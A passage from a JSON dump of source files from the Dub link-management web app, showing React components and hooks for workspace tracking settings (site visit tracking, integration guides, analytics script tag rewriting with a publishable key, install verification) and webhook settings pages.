    "content": "import { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, Popover } from \"@dub/ui\";\nimport { Delete } from \"lucide-react\";\nimport { useState } from \"react\";\n\nfunction PublishableKeyMenu({\n  onRevoke,\n  loading,\n}: {\n  onRevoke: () => void;\n  loading: boolean;\n  permissionsError?: string;\n}) {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <Popover\n      content={\n        <div className=\"w-full sm:w-48\">\n          <div className=\"grid gap-px p-2\">\n            <Button\n              text=\"Revoke\"\n              variant=\"danger-outline\"\n              onClick={() => {\n                setOpenPopover(false);\n                onRevoke();\n              }}\n              icon={<Delete className=\"h-4 w-4\" />}\n              className=\"h-9 justify-start px-2 font-medium\"\n              loading={loading}\n            />\n          </div>\n        </div>\n      }\n      align=\"end\"\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <Button\n        variant=\"plain\"\n        color=\"secondary\"\n        className=\"h-9 border-none p-2\"\n        icon={<ThreeDots className=\"h-5 w-5 shrink-0 rotate-90\" />}\n        onClick={() => {\n          setOpenPopover(!openPopover);\n        }}\n      />\n    </Popover>\n  );\n}\n\nexport default PublishableKeyMenu;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/site-visit-tracking-section.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { Button, InfoTooltip, LockSmall, Sitemap, Switch } from \"@dub/ui\";\nimport { formatDate } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { useId } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function SiteVisitTrackingSection() {\n  const id = useId();\n  const { role } = useWorkspace();\n\n  const [enabled, setEnabled, { loading }] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsSiteVisitTrackingEnabled\",\n    {\n      mutateOnSet: true,\n    },\n  );\n\n  const permissionsError = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription: \"manage site visit tracking\",\n  }).error;\n\n  const sitemaps = [\n    {\n      url: \"dub.co/sitemap.xml\",\n      lastUpdated: new Date(),\n    },\n  ];\n\n  return (\n    <div className=\"flex flex-1 flex-col rounded-lg border border-neutral-200 bg-neutral-50\">\n      <div className=\"flex items-center justify-between gap-4 p-3\">\n        <div className=\"flex min-w-0 items-center gap-4\">\n          <div className=\"overflow-hidden\">\n            <label\n              htmlFor={`${id}-switch`}\n              className=\"text-content-emphasis block text-sm font-semibold\"\n            >\n              Site visit tracking\n            </label>\n            <p className=\"text-content-subtle text-sm font-medium\">\n              For tracking site visits (organic visits from Google/SEO/AEO).\n            </p>\n          </div>\n        </div>\n\n        <Switch\n          disabled={loading}\n          {...(permissionsError\n            ? {\n                disabledTooltip: permissionsError,\n                thumbIcon: (\n                  <div className=\"flex size-full items-center justify-center\">\n                    <LockSmall className=\"size-[8px] text-black\" />\n                  </div>\n                ),\n              }\n            : {})}\n          checked={enabled || false}\n          trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n          thumbDimensions=\"size-3\"\n          thumbTranslate=\"translate-x-3\"\n          fn={setEnabled}\n        />\n      </div>\n\n      <motion.div\n        animate={{\n          height: enabled ? \"auto\" : 0,\n          overflow: \"hidden\",\n        }}\n        transition={{\n          duration: 0.15,\n        }}\n        initial={false}\n      >\n        <div className=\"flex flex-col gap-2 border-t border-neutral-200 p-3\">\n          <div className=\"flex flex-col gap-4 sm:flex-row sm:items-center sm:justify-between\">\n            <div className=\"flex items-center gap-1\">\n              <h2 className=\"text-content-emphasis text-sm font-semibold\">\n                Sitemaps\n              </h2>\n              <InfoTooltip content=\"Required for conversion tracking.\" />\n            </div>\n            <Button\n              text=\"Add sitemap\"\n              className=\"h-7 w-fit rounded-lg px-2.5 py-1 text-sm font-medium\"\n              onClick={() => toast.info(\"Coming soon\")}\n            />\n          </div>\n\n          <div className=\"flex flex-col gap-2\">\n            {sitemaps.map((sitemap) => (\n              <div\n                key={sitemap.url}\n                className=\"border-border-subtle flex items-center justify-between gap-4 rounded-xl border bg-white p-3\"\n              >\n                <div className=\"flex min-w-0 items-center gap-2\">\n                  <div className=\"flex size-[28px] items-center justify-center rounded-md bg-neutral-100\">\n                    <Sitemap className=\"size-4 text-neutral-800\" />\n                  </div>\n                  <span className=\"text-content-emphasis min-w-0 truncate text-sm font-semibold\">\n                    {sitemap.url}\n                  </span>\n                </div>\n                <div className=\"flex items-center gap-2\">\n                  {sitemap.lastUpdated && (\n                    <span className=\"text-content-subtle text-xs font-medium\">\n                      Updated {formatDate(sitemap.lastUpdated)}\n                    </span>\n                  )}\n                </div>\n              </div>\n            ))}\n          </div>\n        </div>\n      </motion.div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/step.tsx",
    "content": "\"use client\";\n\nimport { PropsWithChildren } from \"react\";\n\nimport { Button, Check2, ChevronRight } from \"@dub/ui\";\nimport { cn, isClickOnInteractiveChild } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { ReactNode } from \"react\";\n\nexport type Step = \"connect\" | \"lead\" | \"sale\";\n\nexport type BaseStepProps = {\n  expanded?: boolean;\n  toggleExpanded: () => void;\n};\n\nexport type StepProps = BaseStepProps & {\n  id: Step;\n  step: number;\n  title: string;\n  subtitle?: string;\n  complete?: boolean;\n  children?: ReactNode;\n  contentClassName?: string;\n};\n\nconst Step = ({\n  step,\n  title,\n  subtitle,\n  complete,\n  expanded,\n  toggleExpanded,\n  children,\n  contentClassName,\n}: PropsWithChildren<StepProps>) => {\n  return (\n    <div className=\"flex items-start gap-[22px] rounded-xl border border-neutral-200 bg-white p-5\">\n      <StepNumber number={step} complete={complete} />\n\n      <div className=\"flex min-w-0 grow flex-col\">\n        <div\n          className=\"group/step-header flex cursor-pointer items-center justify-between gap-2\"\n          onClick={(e) => {\n            if (!isClickOnInteractiveChild(e)) toggleExpanded();\n          }}\n        >\n          <div>\n            <div className=\"text-content-emphasis text-base font-semibold\">\n              {title}\n            </div>\n            {subtitle && (\n              <div className=\"text-content-subtle text-sm font-medium\">\n                {subtitle}\n              </div>\n            )}\n          </div>\n\n          <Button\n            variant=\"plain\"\n            className=\"hover:bg-bg-subtle group-hover/step-header:bg-bg-subtle group size-8 w-fit rounded-full border-none px-2\"\n            data-state={expanded ? \"open\" : \"closed\"}\n            text={\n              <ChevronRight className=\"text-content-emphasis size-4 transition-transform duration-75 group-data-[state=open]:rotate-90\" />\n            }\n            onClick={() => toggleExpanded()}\n          />\n        </div>\n\n        <motion.div\n          initial={false}\n          animate={{ height: expanded ? \"auto\" : 0 }}\n          className=\"overflow-hidden\"\n        >\n          <AnimatePresence initial={false}>\n            {expanded && (\n              <motion.div\n                className={cn(contentClassName, \"pt-5\")}\n                key=\"step-content\"\n                initial={{ opacity: 0 }}\n                animate={{ opacity: 1 }}\n                exit={{ opacity: 0 }}\n                transition={{ duration: 0.2, ease: \"easeInOut\" }}\n              >\n                {children}\n              </motion.div>\n            )}\n          </AnimatePresence>\n        </motion.div>\n      </div>\n    </div>\n  );\n};\n\nconst StepNumber = ({\n  number,\n  complete,\n}: {\n  number: number;\n  complete?: boolean;\n}) => {\n  return (\n    <div\n      className={cn(\n        \"hidden size-[42px] shrink-0 items-center justify-center rounded-full sm:flex\",\n        complete ? \"bg-green-400\" : \"bg-neutral-100\",\n      )}\n    >\n      {complete ? (\n        <Check2 className=\"size-4 text-green-800\" />\n      ) : (\n        <span className=\"text-content-default text-base font-semibold\">\n          {number}\n        </span>\n      )}\n    </div>\n  );\n};\n\nexport default Step;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/track-lead-guides-section.tsx",
    "content": "\"use client\";\n\nimport useGuide from \"@/lib/swr/use-guide\";\nimport { GuideActionButton } from \"@/ui/guides/guide-action-button\";\nimport { GuideSelector } from \"@/ui/guides/guide-selector\";\nimport { guides as allGuides } from \"@/ui/guides/integrations\";\nimport { GuidesMarkdown } from \"@/ui/guides/markdown\";\nimport { useSelectedGuide } from \"./use-selected-guide\";\n\nexport function TrackLeadsGuidesSection() {\n  const guides = allGuides.filter((guide) => guide.type === \"track-lead\");\n  const { selectedGuide, setSelectedGuide } = useSelectedGuide({ guides });\n\n  const { loading, guideMarkdown } = useGuide(selectedGuide.key);\n\n  let button: React.ReactNode;\n  let content: React.ReactNode;\n\n  if (loading) {\n    content = (\n      <div className=\"space-y-4\">\n        <div className=\"h-6 w-1/2 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"h-4 w-full animate-pulse rounded bg-neutral-100\" />\n        <div className=\"h-4 w-5/6 animate-pulse rounded bg-neutral-100\" />\n        <div className=\"h-4 w-2/3 animate-pulse rounded bg-neutral-100\" />\n      </div>\n    );\n    button = (\n      <div className=\"h-8 w-24 animate-pulse rounded-md bg-neutral-200\" />\n    );\n  } else if (guideMarkdown) {\n    content = <GuidesMarkdown>{guideMarkdown}</GuidesMarkdown>;\n    button = (\n      <GuideActionButton guide={selectedGuide} markdown={guideMarkdown} />\n    );\n  } else {\n    content = (\n      <div className=\"text-content-subtle flex size-full items-center justify-center text-sm\">\n        Failed to load guide\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"overflow-hidden rounded-xl border border-neutral-200 bg-neutral-50\">\n      <div className=\"flex items-center justify-between p-3\">\n        <GuideSelector\n          value={selectedGuide}\n          onChange={setSelectedGuide}\n          guides={guides}\n          className=\"-my-1 -ml-1\"\n        />\n\n        {button}\n      </div>\n\n      <div className=\"max-w-full rounded-t-xl border-t border-neutral-200 bg-white p-5\">\n        <div className=\"mx-auto max-w-2xl\">{content}</div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/track-sales-guides-section.tsx",
    "content": "\"use client\";\n\nimport useGuide from \"@/lib/swr/use-guide\";\nimport { GuideActionButton } from \"@/ui/guides/guide-action-button\";\nimport { GuideSelector } from \"@/ui/guides/guide-selector\";\nimport { InstallStripeIntegrationButton } from \"@/ui/guides/install-stripe-integration-button\";\nimport { guides as allGuides } from \"@/ui/guides/integrations\";\nimport { GuidesMarkdown } from \"@/ui/guides/markdown\";\nimport { useSelectedGuide } from \"./use-selected-guide\";\n\nexport function TrackSalesGuidesSection() {\n  const guides = allGuides.filter((guide) => guide.type === \"track-sale\");\n  const { selectedGuide, setSelectedGuide } = useSelectedGuide({ guides });\n\n  const { loading, guideMarkdown } = useGuide(selectedGuide.key);\n\n  let button;\n  let content;\n\n  if (loading) {\n    content = (\n      <div className=\"space-y-4\">\n        <div className=\"h-6 w-1/2 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"h-4 w-full animate-pulse rounded bg-neutral-100\" />\n        <div className=\"h-4 w-5/6 animate-pulse rounded bg-neutral-100\" />\n        <div className=\"h-4 w-2/3 animate-pulse rounded bg-neutral-100\" />\n      </div>\n    );\n    button = (\n      <div className=\"h-8 w-24 animate-pulse rounded-md bg-neutral-200\" />\n    );\n  } else if (guideMarkdown) {\n    content = (\n      <div className=\"space-y-6\">\n        {selectedGuide.key.startsWith(\"stripe\") && (\n          <InstallStripeIntegrationButton />\n        )}\n        <GuidesMarkdown>{guideMarkdown}</GuidesMarkdown>\n      </div>\n    );\n    button = (\n      <GuideActionButton guide={selectedGuide} markdown={guideMarkdown} />\n    );\n  } else {\n    content = (\n      <div className=\"text-content-subtle flex size-full items-center justify-center text-sm\">\n        Failed to load guide\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"overflow-hidden rounded-xl border border-neutral-200 bg-neutral-50\">\n      <div className=\"flex items-center justify-between p-3\">\n        <GuideSelector\n          value={selectedGuide}\n          onChange={setSelectedGuide}\n          guides={guides}\n          className=\"-my-1 -ml-1\"\n        />\n\n        {button}\n      </div>\n\n      <div className=\"max-w-full rounded-t-xl border-t border-neutral-200 bg-white p-5\">\n        <div className=\"mx-auto max-w-2xl\">{content}</div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/use-dynamic-guide.ts",
    "content": "import useGuide from \"@/lib/swr/use-guide\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { useMemo } from \"react\";\nimport { SWRConfiguration } from \"swr\";\n\nexport function useDynamicGuide(\n  { guide }: { guide: string },\n  swrOpts?: SWRConfiguration,\n) {\n  const { guideMarkdown: guideMarkdownRaw, error } = useGuide(guide, swrOpts);\n\n  const { publishableKey } = useWorkspace();\n  const { program } = useProgram();\n\n  const [siteVisitTrackingEnabled] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsSiteVisitTrackingEnabled\",\n  );\n  const [domainTrackingEnabled] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsOutboundDomainTrackingEnabled\",\n  );\n  const [conversionTrackingEnabled] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsConversionTrackingEnabled\",\n  );\n\n  const guideMarkdown = useMemo(() => {\n    let result = guideMarkdownRaw;\n\n    if (program?.domain)\n      result = result?.replaceAll(/yourcompany\\.link/g, program.domain);\n\n    const scriptComponents = [\n      siteVisitTrackingEnabled ? \"site-visit\" : null,\n      domainTrackingEnabled ? \"outbound-domains\" : null,\n      conversionTrackingEnabled ? \"conversion-tracking\" : null,\n    ]\n      .filter(Boolean)\n      .join(\".\");\n\n    if (scriptComponents.length)\n      result = result?.replaceAll(\n        /https\\:\\/\\/www.dubcdn.com\\/analytics\\/script.js/g,\n        `https://www.dubcdn.com/analytics/script.${scriptComponents}.js`,\n      );\n\n    if (result) {\n      // Store original result for context checks\n      const originalResult = result;\n\n      result = result\n        // for manual installations - add data-publishable-key after src attribute\n        .replaceAll(\n          /(<script[\\s\\S]*?)(src=\"https:\\/\\/www\\.dubcdn\\.com\\/analytics\\/script[^\"]+\")([\\s\\S]*?)(>)/g,\n          (match, beforeSrc, srcAttr, afterSrc, closingTag) => {\n            if (match.includes(\"data-publishable-key\")) return match;\n\n            // Find src line in original to get indentation\n            const originalLines = originalResult.split(\"\\n\");\n            const srcLine =\n              originalLines.find((line) => line.includes(srcAttr)) || \"\";\n            const indent = srcLine.match(/^(\\s*)/)?.[1] || \"  \";\n\n            // Clean up other attributes\n            const otherAttrs = afterSrc.replace(/>$/, \"\").trim();\n\n            const domainsConfigParts = [\n              ...(program ? [`\"refer\": \"${program.domain}\"`] : []),\n              ...(domainTrackingEnabled\n                ? [`\"outbound\": [\"example.com\", \"example.sh\"]`]\n                : []),\n            ].join(`, `);\n            const parts = [\n              ...(publishableKey\n                ? [`data-publishable-key=\"${publishableKey}\"`]\n                : []),\n              ...(domainsConfigParts\n                ? [`data-domains='{${domainsConfigParts}}'`]\n                : []),\n            ].join(`\\n${indent}`);\n\n            // Return: before src, src, publishable-key, other attrs, closing tag\n            return `${beforeSrc}${srcAttr}${parts ? `\\n${indent}${parts}` : \"\"}${otherAttrs ? `\\n${indent}${otherAttrs}` : \"\"}\\n${closingTag}`;\n          },\n        )\n        // for React applications - add publishableKey prop after <DubAnalytics\n        .replaceAll(\n          /^(\\s+)(<DubAnalytics)(\\s*\\/?>|\\s+[^\\n>]*\\/?>|)$/gm,\n          (match, indent, tag, rest) => {\n            if (match.includes(\"publishableKey\")) return match;\n            // Check context for multiline case\n            if (rest === \"\") {\n              const idx = originalResult.indexOf(match);\n              if (idx >= 0) {\n                const context = originalResult.substring(idx, idx + 300);\n                if (context.includes(\"publishableKey\")) return match;\n              }\n            }\n\n            const domainsConfigParts = [\n              ...(program ? [`refer: \"${program.domain}\"`] : []),\n              ...(domainTrackingEnabled\n                ? [`outbound: [\"example.com\", \"example.sh\"]`]\n                : []),\n            ].join(`,\\n${indent}    `);\n            const parts = [\n              ...(publishableKey ? [`publishableKey=\"${publishableKey}\"`] : []),\n              ...(domainsConfigParts\n                ? [\n                    `domainsConfig={{\\n${indent}    ${domainsConfigParts}\\n${indent}  }}`,\n                  ]\n                : []),\n            ].join(`\\n  ${indent}`);\n\n            return `${indent}${tag}${parts ? `\\n${indent}  ${parts}` : \"\"}${rest}`;\n          },\n        )\n        // for GTM installations - add data-publishable-key after script.src\n        .replaceAll(\n          /^(\\s+)(s\\.src\\s*=\\s*\"https:\\/\\/www\\.dubcdn\\.com\\/analytics\\/script[^\"]+\";)$/gm,\n          (match, indent, srcLine) => {\n            const idx = originalResult.indexOf(match);\n            if (idx >= 0) {\n              const context = originalResult.substring(idx, idx + 200);\n              if (context.includes(\"data-publishable-key\")) return match;\n            }\n\n            const domainsConfigParts = [\n              ...(program ? [`\"refer\": \"${program.domain}\"`] : []),\n              ...(domainTrackingEnabled\n                ? [`\"outbound\": [\"example.com\", \"example.sh\"]`]\n                : []),\n            ].join(`, `);\n            const parts = [\n              ...(publishableKey\n                ? [\n                    `s.setAttribute(\"data-publishable-key\", \"${publishableKey}\");`,\n                  ]\n                : []),\n              ...(domainsConfigParts\n                ? [\n                    `s.dataset.domains = JSON.stringify({${domainsConfigParts}});`,\n                  ]\n                : []),\n            ].join(`\\n${indent}`);\n\n            return `${indent}${srcLine}${parts ? `\\n${indent}${parts}` : \"\"}`;\n          },\n        );\n    }\n\n    return result;\n  }, [\n    guideMarkdownRaw,\n    program,\n    siteVisitTrackingEnabled,\n    domainTrackingEnabled,\n    conversionTrackingEnabled,\n    publishableKey,\n  ]);\n\n  return {\n    guideMarkdown,\n    error,\n    loading: !guideMarkdown && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/use-selected-guide.ts",
    "content": "import { IntegrationGuide } from \"@/ui/guides/integrations\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { useEffect, useState } from \"react\";\n\nexport function useSelectedGuide({ guides }: { guides: IntegrationGuide[] }) {\n  const { searchParams, queryParams } = useRouterStuff();\n  const paramGuide = searchParams.get(\"guide\");\n\n  if (guides.length === 0)\n    throw new Error(\"useSelectedGuide requires a non-empty guides array\");\n\n  const [selectedGuide, setSelectedGuide] = useState<IntegrationGuide>(\n    guides[0],\n  );\n\n  useEffect(() => {\n    if (!paramGuide) return;\n\n    const guide = guides.find((g) => g.key === paramGuide);\n    if (!guide) return;\n\n    setSelectedGuide(guide);\n  }, [paramGuide, guides]);\n\n  return {\n    selectedGuide,\n    setSelectedGuide: (guide: IntegrationGuide) =>\n      queryParams({ set: { guide: guide.key }, scroll: false }),\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/verify-install.tsx",
    "content": "import { verifyWorkspaceSetup } from \"@/lib/actions/verify-workspace-setup\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { Button, Plug2 } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { useMemo } from \"react\";\nimport { toast } from \"sonner\";\nimport { CompleteStepButton } from \"./complete-step-button\";\n\ntype VerifyStatus = \"pending\" | \"success\" | \"error\";\n\nconst VerifyInstallIcon = ({ status }: { status: VerifyStatus }) => {\n  return (\n    <div\n      className={cn(\n        \"text-content-default flex size-10 items-center justify-center rounded-full\",\n        status === \"pending\" && \"border border-blue-200 bg-white\",\n        status === \"error\" && \"bg-red-400 text-red-900\",\n        status === \"success\" && \"bg-green-400 text-green-800\",\n      )}\n    >\n      <Plug2 className=\"size-4\" />\n    </div>\n  );\n};\n\ntype VerificationResponse = {\n  verifiedAt: Date;\n  verifiedBy: { name: string; avatarUrl?: string };\n};\n\nconst VerifyInstall = () => {\n  const { id: workspaceId } = useWorkspace();\n\n  //   const [verified, setVerified] = useState(false);\n\n  const error: any | null = null;\n  const response: VerificationResponse | null = null;\n  // const response: VerificationResponse | null = {\n  //   verifiedAt: new Date(),\n  //   verifiedBy: { name: \"Ian\" },\n  // };\n\n  const { executeAsync, isPending } = useAction(verifyWorkspaceSetup, {\n    async onSuccess(response) {\n      toast.success(\"Account created! Redirecting to dashboard...\");\n\n      // if (response?.ok) {\n      // } else {\n      //   toast.error(\n      //     \"Failed to sign in with credentials. Please try again or contact support.\",\n      //   );\n      // }\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const status: VerifyStatus = useMemo(() => {\n    if (error) return \"error\";\n    if (response) return \"success\";\n    return \"pending\";\n  }, [response, error]);\n\n  const [complete, markComplete, { loading }] = useWorkspaceStore<boolean>(\n    \"analyticsSettingsConnectionSetupComplete\",\n  );\n\n  return (\n    <div\n      className={cn(\n        \"flex flex-col gap-3 rounded-xl border px-8 py-6\",\n        status === \"pending\" &&\n          \"border-blue-200 bg-gradient-to-b from-blue-50 to-white\",\n        status === \"error\" && \"\",\n        status === \"success\" && \"\",\n      )}\n    >\n      <form\n        onSubmit={(e) => {\n          if (!workspaceId) {\n            return;\n          }\n\n          e.preventDefault();\n          executeAsync({ workspaceId });\n        }}\n      >\n        <div>\n          <div className=\"flex flex-col items-center\">\n            <VerifyInstallIcon status={status} />\n\n            <div className=\"text-content-emphasis mt-3 font-semibold\">\n              {error\n                ? \"Unable to connect\"\n                : response\n                  ? \"Successfully connected!\"\n                  : \"Verify your install\"}\n            </div>\n\n            <p className=\"text-content-emphasis text-sm font-medium\">\n              {error ? (\n                <>\n                  Try again. For more help, see our{\" \"}\n                  <Link href={\"/docs\"} className=\"underline\">\n                    docs\n                  </Link>{\" \"}\n                  or{\" \"}\n                  <Link href={\"/contact\"} className=\"underline\">\n                    contact support\n                  </Link>\n                  .\n                </>\n              ) : response ? (\n                \"You’re connected and ready to track conversions\"\n              ) : (\n                \"Test your connection to Dub\"\n              )}\n            </p>\n          </div>\n\n          <div className=\"mt-4\">\n            {status !== \"success\" && (\n              <Button\n                text={isPending ? \"Verifying...\" : \"Verify\"}\n                type=\"submit\"\n                loading={isPending}\n                disabled={isPending}\n                variant={status === \"pending\" ? \"success\" : \"primary\"}\n              />\n            )}\n\n            {status === \"success\" && !complete && (\n              <CompleteStepButton\n                onClick={() => {\n                  markComplete(true);\n                }}\n                loading={loading}\n              />\n            )}\n          </div>\n        </div>\n      </form>\n    </div>\n  );\n};\n\nexport default VerifyInstall;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/[webhookId]/edit/page-client.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { WebhookProps } from \"@/lib/types\";\nimport AddEditWebhookForm from \"@/ui/webhooks/add-edit-webhook-form\";\nimport { MaxWidthWrapper } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\nimport useSWR from \"swr\";\n\nexport default function UpdateWebhookPageClient({\n  webhookId,\n}: {\n  webhookId: string;\n}) {\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const { data: webhook, isLoading } = useSWR<WebhookProps>(\n    `/api/webhooks/${webhookId}?workspaceId=${workspaceId}`,\n    fetcher,\n  );\n\n  if (!isLoading && !webhook) {\n    redirect(`/${slug}/settings/webhooks`);\n  }\n\n  return (\n    <MaxWidthWrapper className=\"max-w-screen-lg space-y-6\">\n      {webhook && <AddEditWebhookForm webhook={webhook} />}\n    </MaxWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/[webhookId]/edit/page.tsx",
    "content": "import UpdateWebhookPageClient from \"./page-client\";\n\nexport default async function UpdateWebhookPage(props: {\n  params: Promise<{ webhookId: string }>;\n}) {\n  const params = await props.params;\n  const { webhookId } = params;\n\n  return <UpdateWebhookPageClient webhookId={webhookId} />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/[webhookId]/layout.tsx",
    "content": "import WebhookHeader from \"@/ui/webhooks/webhook-header\";\nimport { ReactNode } from \"react\";\n\nexport default async function WebhookLayout(props: {\n  params: Promise<{ webhookId: string }>;\n  children: ReactNode;\n}) {\n  const params = await props.params;\n\n  const { children } = props;\n\n  return (\n    <div className=\"max-w-screen grid gap-4\">\n      <WebhookHeader webhookId={params.webhookId} />\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/[webhookId]/page-client.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { WebhookEventProps } from \"@/lib/types\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { WebhookEventListSkeleton } from \"@/ui/webhooks/loading-events-skelton\";\nimport { NoEventsPlaceholder } from \"@/ui/webhooks/no-events-placeholder\";\nimport { useWebhookEventDetailsSheet } from \"@/ui/webhooks/webhook-event-details-sheet\";\nimport { WebhookEventList } from \"@/ui/webhooks/webhook-event-list\";\nimport { fetcher } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\nimport useSWR from \"swr\";\n\nexport default function WebhookLogsPageClient({\n  webhookId,\n}: {\n  webhookId: string;\n}) {\n  const { slug, role, id: workspaceId } = useWorkspace();\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"webhooks.read\",\n    role,\n  });\n\n  if (permissionsError) {\n    redirect(`/${slug}/settings`);\n  }\n\n  const { data: events, isLoading } = useSWR<WebhookEventProps[]>(\n    !permissionsError &&\n      `/api/webhooks/${webhookId}/events?workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { webhookEventDetailsSheet, openWithEvent } =\n    useWebhookEventDetailsSheet();\n\n  return (\n    <PageWidthWrapper className=\"grid max-w-screen-lg gap-8 pb-10\">\n      {webhookEventDetailsSheet}\n      {isLoading ? (\n        <WebhookEventListSkeleton />\n      ) : events && events.length === 0 ? (\n        <NoEventsPlaceholder />\n      ) : (\n        <WebhookEventList events={events || []} onEventClick={openWithEvent} />\n      )}\n    </PageWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/[webhookId]/page.tsx",
    "content": "import WebhookEventsPageClient from \"./page-client\";\n\nexport default async function WebhookEventsPage(props: {\n  params: Promise<{ webhookId: string }>;\n}) {\n  const params = await props.params;\n  const { webhookId } = params;\n\n  return <WebhookEventsPageClient webhookId={webhookId} />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/create-webhook-button.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button } from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\n\nexport default function CreateWebhookButton() {\n  const pathname = usePathname();\n\n  const { slug, plan, role } = useWorkspace();\n\n  const { canCreateWebhooks } = getPlanCapabilities(plan);\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"webhooks.write\",\n    role: role,\n  });\n\n  // don't show button if not on main webhooks page or if workspace cannot create webhooks\n  if (!canCreateWebhooks || !pathname.endsWith(\"/settings/webhooks\")) {\n    return null;\n  }\n\n  return (\n    <Link href={`/${slug}/settings/webhooks/new`}>\n      <Button\n        className=\"flex h-10 items-center justify-center whitespace-nowrap rounded-lg border px-4 text-sm\"\n        text=\"Create Webhook\"\n        disabledTooltip={permissionsError}\n      />\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/layout.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ReactNode } from \"react\";\nimport CreateWebhookButton from \"./create-webhook-button\";\n\nexport default function WebhooksLayout({ children }: { children: ReactNode }) {\n  return (\n    <PageContent\n      title=\"Webhooks\"\n      titleInfo={{\n        title:\n          \"Webhooks allow you to receive HTTP requests whenever a specific event (eg: someone clicked your link) occurs in Dub.\",\n        href: \"https://d.to/webhooks\",\n      }}\n      controls={<CreateWebhookButton />}\n    >\n      <PageWidthWrapper>{children}</PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/new/page-client.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport AddEditWebhookForm from \"@/ui/webhooks/add-edit-webhook-form\";\nimport { redirect } from \"next/navigation\";\n\nexport default function NewWebhookPageClient({\n  newSecret,\n}: {\n  newSecret: string;\n}) {\n  const { slug, plan } = useWorkspace();\n\n  const needsHigherPlan = plan === \"free\" || plan === \"pro\";\n\n  if (needsHigherPlan) {\n    redirect(`/${slug}/settings/webhooks`);\n  }\n\n  return <AddEditWebhookForm webhook={null} newSecret={newSecret} />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/webhooks/new/page.tsx",
